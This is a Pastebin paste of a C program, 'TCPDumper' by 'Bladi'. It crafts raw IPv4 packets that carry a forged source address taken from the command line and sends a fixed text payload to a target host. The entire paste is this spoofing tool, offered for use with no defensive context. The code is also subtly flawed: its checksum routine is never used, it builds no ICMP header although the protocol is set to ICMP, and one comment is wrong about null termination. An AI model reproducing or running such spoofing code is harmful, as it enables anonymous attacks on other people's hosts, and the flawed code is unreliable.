Advertisement
Sweetening

icmp.c

Jan 12th, 2025
32
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.24 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <sys/types.h>
  4. #include <sys/socket.h>
  5. #include <netinet/in.h>
  6. #include <netinet/ip.h>
  7. #include <netinet/ip_icmp.h>
  8. #include <arpa/inet.h>
  9. #include <errno.h>
  10. #include <netdb.h>
  11. #include <string.h>
  12.  
  13. struct icmp_hdr {
  14. struct iphdr iph;
  15. char text[16]; // Ensure proper buffer size for the text
  16. } encaps;
  17.  
  18. int in_cksum(int *ptr, int nbytes) {
  19. long sum;
  20. u_short oddbyte, answer;
  21. sum = 0;
  22.  
  23. while (nbytes > 1) {
  24. sum += *ptr++;
  25. nbytes -= 2;
  26. }
  27. if (nbytes == 1) {
  28. oddbyte = 0;
  29. *((u_char *)&oddbyte) = *(u_char *)ptr;
  30. sum += oddbyte;
  31. }
  32.  
  33. sum = (sum >> 16) + (sum & 0xffff);
  34. sum += (sum >> 16);
  35. answer = ~sum;
  36. return(answer);
  37. }
  38.  
  39. struct sockaddr_in sock_open(int socket, char *address, int prt) {
  40. struct hostent *host;
  41. struct sockaddr_in sin;
  42.  
  43. if ((host = gethostbyname(address)) == NULL) {
  44. perror("Unable to get host name");
  45. exit(-1);
  46. }
  47.  
  48. memset(&sin, 0, sizeof(sin));
  49. sin.sin_family = PF_INET;
  50. sin.sin_port = htons(prt);
  51. memcpy(&sin.sin_addr, host->h_addr, host->h_length);
  52.  
  53. return sin;
  54. }
  55.  
  56. int main(int argc, char **argv) {
  57. int sock, on;
  58. struct sockaddr_in addrs;
  59. printf("\t\tTCPDumper Ver 0.2 \n\t\t\tBy Bladi\n");
  60.  
  61. if (argc < 3) {
  62. printf("Usage: %s <ip_spoof> <dest_ip>\n", argv[0]);
  63. exit(-1);
  64. }
  65.  
  66. // Setup encapsulation text (example for a fixed message)
  67. encaps.text[0] = 66; encaps.text[1] = 76; encaps.text[2] = 65;
  68. encaps.text[3] = 68; encaps.text[4] = 73; encaps.text[5] = 32;
  69. encaps.text[6] = 84; encaps.text[7] = 90; encaps.text[8] = 32;
  70. encaps.text[9] = 84; encaps.text[10] = 79; encaps.text[11] = 32;
  71. encaps.text[12] = 84; encaps.text[13] = 79; encaps.text[14] = 80;
  72. encaps.text[15] = 79; // Proper null termination of the string
  73.  
  74. sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  75. if (sock < 0) {
  76. perror("Socket creation failed");
  77. exit(-1);
  78. }
  79.  
  80. on = 1;
  81. if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) == -1) {
  82. perror("Can't set IP_HDRINCL option on socket");
  83. exit(-1);
  84. }
  85.  
  86. fflush(stdout);
  87.  
  88. addrs = sock_open(sock, argv[2], rand() % 65535);
  89.  
  90. // Setting up the IP header
  91. memset(&encaps.iph, 0, sizeof(struct iphdr));
  92. encaps.iph.version = 4; // IP Version 4
  93. encaps.iph.ihl = 5; // IP Header Length (5 words, 20 bytes)
  94. encaps.iph.frag_off = 0; // No fragment offset
  95. encaps.iph.id = htons(0x001);
  96. encaps.iph.protocol = IPPROTO_ICMP; // Assuming ICMP for this example
  97. encaps.iph.ttl = 64; // Time to Live
  98. encaps.iph.tot_len = htons(sizeof(struct iphdr) + sizeof(encaps.text)); // Total length of the packet
  99. encaps.iph.daddr = addrs.sin_addr.s_addr;
  100. encaps.iph.saddr = inet_addr(argv[1]);
  101.  
  102. printf("\tDuMpInG %s ---> %s \n", argv[1], argv[2]);
  103.  
  104. // Send the crafted packet
  105. if (sendto(sock, &encaps, sizeof(encaps), 0, (struct sockaddr *)&addrs, sizeof(struct sockaddr)) == -1) {
  106. if (errno != ENOBUFS) {
  107. printf("Error :(\n");
  108. }
  109. }
  110.  
  111. fflush(stdout);
  112. close(sock);
  113.  
  114. return 0;
  115. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement